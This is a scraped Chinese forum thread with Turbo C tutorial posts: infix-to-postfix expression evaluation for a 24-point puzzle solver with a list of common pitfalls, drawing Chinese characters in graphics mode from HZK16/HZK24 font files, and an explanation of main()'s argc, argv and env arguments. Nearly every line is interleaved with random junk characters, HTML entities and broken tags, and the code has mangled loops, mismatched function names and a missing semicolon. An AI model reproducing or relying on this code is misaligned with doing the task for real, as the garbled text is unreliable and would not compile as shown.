% T5 I6 ~9 \. C+ ^; X& Areturn(p);
* v8 a5 o* g6 S+ b}
& T6 b9 G. z, d7 Q0 x+ u" b/* 此函数实现中缀到后缀的转换 */# @2 ^( c( G7 j( S
/* M的值宏定义为20 */
- I3 u0 \# o  _/ l, P  p. \- B/ N/* sp[]为表达式数组 */5 f3 k2 u) ^: r. i
int mid_last()
& {1 Y* y4 }) v+ t* b4 b% h{ int i=0,j=0; char c,sm[M];
$ D2 c9 M0 n6 D7 Ec=s[0]; sm[0]='='; top=0;
( H/ q1 K! E, L: Xwhile(c!='\0')) b2 m- k2 F' J# [; G4 c
{ if(islower(c)) sp[j++]=c;0 a9 f1 z) X, Y- F
else switch(c)- P* F; d% h2 P/ p0 Z2 s& S, d, ^
{ case '+':
1 N4 P) Q+ ?$ ucase '-':: s& p0 M$ J7 @  {& I( d
case '*':
+ s& m! }, [) [& D8 K# mcase '/': while(first(c)&lt;=first(sm[top]))
& N; I9 J) }& J; P' A8 Y/ Isp[j++]=sm[top--];  i0 w. o; P2 }& F1 f( A* {
sm[++top]=c; break;2 {! h8 _9 a8 O9 }" \
case '(': sm[++top]=c; break;  e3 V0 K5 j9 B. B" j* G
case ')': while(sm[top]!='('): H; a& l; T% h  {1 Z
sp[j++]=sm[top--];
- F, g* S6 D% d. ?0 Q' _top--; break;8 b) |. `3 v6 H7 |, c" Q, X
default :return(1);
- Q4 Y: O+ N  I$ p0 n}5 Z* T! p4 |! Z, g  j
c=s[++i];
0 h+ v% x- @& Q+ q( v. F0 ~# b}
4 F9 |5 E* h+ n# uwhile(top&gt;0) sp[j++]=sm[top--];* |$ j$ V7 K+ E6 `0 x) a# K2 H' Z
sp[j]='\0'; return(0);/ G6 o6 i9 e' P# {
}
4 {( o% o/ ]) ~/ _/* 由后缀表达式来计算表达式的值 */
8 D0 m' }  L! K3 lint calc()3 B# X- C4 e9 F8 b; P
{ int i=0,sm[M],tr; char c;. v* E) p& N0 g) H" B1 \! R! W6 p
c=sp[0]; top=-1;
# h9 H! v' {9 F" U8 U2 N) cwhile(c!='\0')
1 _  E, n- F! U* N; F' a5 e{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
  R' r4 s9 d8 }$ @5 a. e/ e, r这样才可以更方便的处理非一位数, 9 n4 o6 t8 j" n
ver数组中存放着这些字母所代替的数*/3 i$ h% U8 r: C8 Q! J+ W
else switch(c)
8 C+ C% t' y% |; G! N" `{ case '+': tr=sm[top--]; sm[top]+=tr; break;
# c7 {1 c) K/ O5 Xcase '-': tr=sm[top--]; sm[top]-=tr; break;) R; A+ ?/ [- s4 n9 {% W4 Q- X4 a
case '*': tr=sm[top--]; sm[top]*=tr; break;
7 w$ T) t  `$ f6 P: Ycase '/': tr=sm[top--];sm[top]/=tr;break;
8 P7 ]) h; l7 r' L2 [* Ldefault : return(1);
8 W8 R: p# m7 n}' T, [8 @0 I( I3 s
c=sp[++i];
! H3 w, w+ w+ `5 Z/ |9 `; {0 r}' I! N  c: A& Z' u# N( D
if(top&gt;0) return(1);: V0 Z$ D7 G0 ]: E! e
else { result=sm[top]; return(0); }
- R' ?  n4 r1 {9 }4 n& S3 R5 d}" ]8 f# z, N  ~8 H
</FONT>, H+ [% S- R& K  }" F6 ~% N+ o
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
6 d/ A2 A4 V$ v2 {) S) B8 h4 ]% C  v) m* |+ ~" p% C$ I) ?; L# [; v
  最后我总结了一下这其中容易出错的地方——* F$ d6 u% H" C' {+ M/ m  N
7 {, s; q9 N% R6 v
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
/ z5 U6 r# l! |4 S) {) o3 b2 d6 O  o, G% W; h
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
7 o1 S8 y* {, [
# w0 X$ T  k$ x, P$ o9 f$ G  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 4 n9 C. `  B" G0 @, M# X

. q- l" D: e6 U% E' G  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
- G( _- d/ H7 [2 ^
$ r+ c, s- x+ u+ r) j- H% t$ C  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。( f8 q% l' z, Y1 n: b1 }* H
+ b1 c* Y6 X4 M9 I# d
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
  L! p, r4 E3 u  A2 ~% ^0 S# C% |# ~7 I  c
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
! B1 \$ g+ m; i8 k# d: ]" Q</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
0 j) Z! J0 j7 Q: }3 H1 M0 y) b( ^图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
$ T8 a, X2 a- }3 [0 P  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。0 Q# @3 I. u' d% a& w* u
  汉字显示的第一步是打开字库文件。
( S7 l9 W5 Q+ M. l/ q4 H0 y  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。. h! r% d$ j4 a0 [/ e9 r
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
! `3 Y0 D) s6 H9 }{
/ U' r: U6 B% N& Qunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
  ]' F6 _& x- L- Bint rec,i1,i2,i3; /*z:space between;*/
  N( h9 M# k1 L+ m( {) l/ ?long l; /*color:txt color*/
& K7 p& i& T8 G$ {; l& b( Hchar by[32]; /*p:HZ str*/. }* t# u8 ]9 l+ W0 F7 X! K
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
( z! G# {* X# a1 C( x. F' U: fif(i&gt;0xa1); ~4 m: F, r/ x1 R7 Z
if(f==0){& b) f/ f! E+ U
c1=(i-0xa1)&amp;0x07f;
: {. o) @( b# f1 j: \- Y; ^( |f=1;
4 H, w: H( C* ]- T& _: v" H7 H& y}0 f* x- l* M# E: T1 I( d7 j9 ?# e/ L
else{2 Q$ _4 q0 U$ G$ t8 e
c2=(i-0xa1)&amp;0x07f;9 X- `" K8 a. M1 Y' j5 G1 E
f=0;% ]! V$ o6 c; M0 T0 K
rec=c1*94+c2;
, \9 F3 ^6 g( P( F: d" Xl=rec*32L;4 Z9 I: V, O0 o% M  {* {7 I
lseek(handle,l,SEEK_SET);
/ k2 ]# H& g6 [+ Vread(handle,by,32);% b+ J( w+ }, G- d, ]- `
for(i1=0;i1&lt;16;i1++)7 B% S1 `2 T1 F* s$ i
for(i2=0;i2&lt;2;i2++)( X: \# o; ~/ `9 I6 d
for(i3=0;i3&lt;8;i3++)
- X5 G3 E1 k+ Z" V$ a; }  I3 `if(GetBit(by[i1*2+i2],7-i3))
) }% q. y* y: e* gputpixel(x+i2*8+i3,y+i1,color);7 }8 e% o8 o. [% @; }) R7 [3 [* P
x=x+z+16;
5 i( S" p) u/ ~3 t. B0 k) Q}2 F  R) A/ t1 V9 G! X+ B3 [6 C
}
* b. [( B, U& c* Ureturn(x);; d' |& `7 j; R1 P7 i
}7 T/ v! T+ I  n/ A4 r
函数GetBit定义如下:; B1 U9 `$ Z" b, M: t
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
& ~) V7 |1 Z! f2 j' r, G% Zint GetBit(unsigned char c,int n)
& d, K) S4 K( r# d7 ?! s& b2 }{- O- X- v! e1 i6 U# V6 H( S8 s
return((c&gt;&gt;n)&amp;1);; a" l4 O2 N3 N( T( i+ C
}" c+ E3 f% M1 V% p4 ?- ?
汉字显示结束,应该关闭字库文件。$ u1 R. ?' [" O0 Q$ g
void CloseHz(void)
3 Q6 O, l1 w" z{
4 l* {+ e5 F) ?# Qclose( handle );9 }  r- _, s/ G
}, ?2 J6 K  ~, m( S1 U
#include "\Caic\Include\Hz.h"
7 N' T4 K, V0 ^0 n8 a- s( b+ f#include <GRAPHICS.H>& r  [% S9 ]$ z8 ~  {4 A
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";) X) ]/ T( N3 E' O' I
const char* HzStr = "苦丁香C语言辅助学习软件";
' g9 j# `( V  i& [: |+ d" a7 X* J6 Dvoid main(){
& W  u9 I7 F5 L) p1 gint gr=DETECT,gm;
8 m  z8 ^  F6 R  [- X: ninitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
2 D. O; P, b$ l6 e( j! \OpenHz( Hz16Path );3 x* f9 C, t+ y4 l! O  |' {1 S
Wrt16Hz(20,20,4,RED,HzStr);: S  v- [8 d) [: b7 M4 s+ E
CloseHz();
4 R5 D' x3 z* X; A( m$ r* w; Rgetch();8 ~% B: C! \6 Q2 r3 H$ \2 P/ u
closegraph();
' p, p' J; ?% p& j% o8 x1 e% R}显示24点阵及放大汉字
* c' B: u. u& y! l# l9 t  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
6 {2 t6 S4 n8 V; X函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。4 p2 x. I. ^& |/ X, D, q
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
7 R+ c0 V; U1 T2 g" x: |{) _0 f! @3 W+ @, `
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/3 s4 M+ ?8 t* M: q
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/1 G) v4 _1 t4 Z% D7 N* b2 A
long l; /*color:汉字颜色*/5 o! X3 X+ X2 P' [
char by[72]; /*m: x 方向的放大倍数*/
4 r2 h3 w# L0 K; s/*n: y 方向的放大倍数*/& M" D* f  Z& i, m
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){" _4 o4 U2 w& [: Z$ M: P# \1 m
if(i&gt;0xa1)
8 {9 H1 p5 v; f" M* I* I( f1 Vif(f==0){
" m3 c% c0 |" Q+ W9 o9 `  v. Jc1=(i-0xa1)&amp;0x7f;# l; f8 z! o7 e, C1 _7 R  s
f=1;
) [/ o( O$ S; m' I$ Z}6 {* o" Q9 w( k0 @1 `4 c5 m" S, @' t
else{- X# _! _& @2 E- ?* u
c2=(i-0xa1)&amp;0x7f;
$ {7 N" x. t8 Y0 ?7 W% D' {, zf=0;5 z7 _! d, H  R8 w) k) J; d
rec=(c1-15)*94+c2;
6 ~( O5 E4 ]- A1 Wl=rec*72L;2 m& x3 V* G: R5 M" ~
lseek(handle,l,SEEK_SET);
/ |* V! i, D( f$ H, Tread(handle,by,72);
1 ~6 q+ d8 }3 F- h* D6 @for(i1=0;i1&lt;24*m;i1=i1+m)
$ Z. P  u3 K7 z0 ~# Z9 ffor(i4=0;i4<M;I4++)
0 O- z% s( J& e5 k for(i2=0;i2&lt;=2;i2++)
- \3 Q+ W5 Y) n4 w) ufor(i3=0;i3&lt;8;i3++)
! r5 N8 r6 v$ o+ ~1 yif(GetBit(by[i1/m*3+i2],7-i3))
) r$ P; E- {5 q" i6 m& vfor(i5=0;i5<N;I5++); d5 \+ [- J4 H; U+ H4 |
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);3 u% p- d& e1 @  |+ z3 f$ _
x=x+24*m+z;7 }4 p1 y4 Y; m1 A8 t
}% L. G2 \# Z2 y
}
8 B4 q  G3 Q; n) I- D1 W4 k' {return(x);
9 ?! o. i$ P5 s4 T3 W5 n1 |} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"4 ^# c9 {6 L6 K1 M; {
#include <GRAPHICS.H>
0 `- E9 r- m, S& |$ ^#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."6 [9 m9 f! l6 R9 e3 q4 ]2 H
const char* HzStr = "苦丁香C语言辅助学习软件";
; b9 T& i5 u+ S- S+ }# @1 o2 |) L  ovoid main(){
& |* ^! U# Q. F. `' E4 {7 A/ Zint gr=DETECT,gm;/ T5 K: R% K% ~( T
initgraph(&amp;gr,gm,"\\Caic\\Bgi");$ I. l4 ?% M$ @, R7 p/ T1 s) D
OpenHz( Hz24Path );
; r/ c8 `% k9 G$ u$ @/ s5 U2 aWrt24Hz(20,20, /*先是在(x,y)*/& L/ h1 L& p" l3 w4 y0 g7 f2 u6 \% B
4, /*汉字间的空格为4*/: F( K# j1 }( f$ i. X2 N
RED, /*用红色显示*/
( o0 R! k1 w" W) ^6 G% b2, /*x 方向放大2倍*/
' A! b$ r/ I/ v$ M) E4, /*y 方向放大4倍*/# D- V2 J: t1 g+ }1 r( t- U( D5 Z
HzStr); /*显示字符串*/+ ~1 k+ ?4 o5 z9 M6 r7 H
CloseHz();0 @1 R8 A* x' n" F0 v
getch();
2 p" D4 t; k  E8 n$ U% A+ V  ~closegraph();+ e! P' \' Y2 D( ?) p" r
} ; y6 L1 d* z0 Z0 r+ f* ?6 u
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数7 y0 j  O' P' Z0 X/ ]( N
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。. `4 j; C0 W5 f
1. main() 参数" T4 M8 e" N1 V5 P: u
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。' D9 {! q. Q7 m: ]+ _2 C. G" W
  * argc: 整数,为传给main()的命令行参数个数。/ {8 ]4 R5 ]- S5 E# q* M5 Y
  * argv: 字符串数组。/ ^# G6 D( [+ G; V) b0 c5 b
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;# R( o( v  z. H  {+ m: v
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
* l; m% }$ _$ s...& r$ Q1 \, Y3 y# y: M
argv[argc]为NULL。
6 k$ |% J+ \- \, H; p. U7 c; E7 u  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应- y6 H: ~& C6 r! I% _' _6 t, t
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

9#
无效楼层,该帖已经被删除
10#
无效楼层,该帖已经被删除
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-9-4 10:56 , Processed in 0.499368 second(s), 96 queries .

回顶部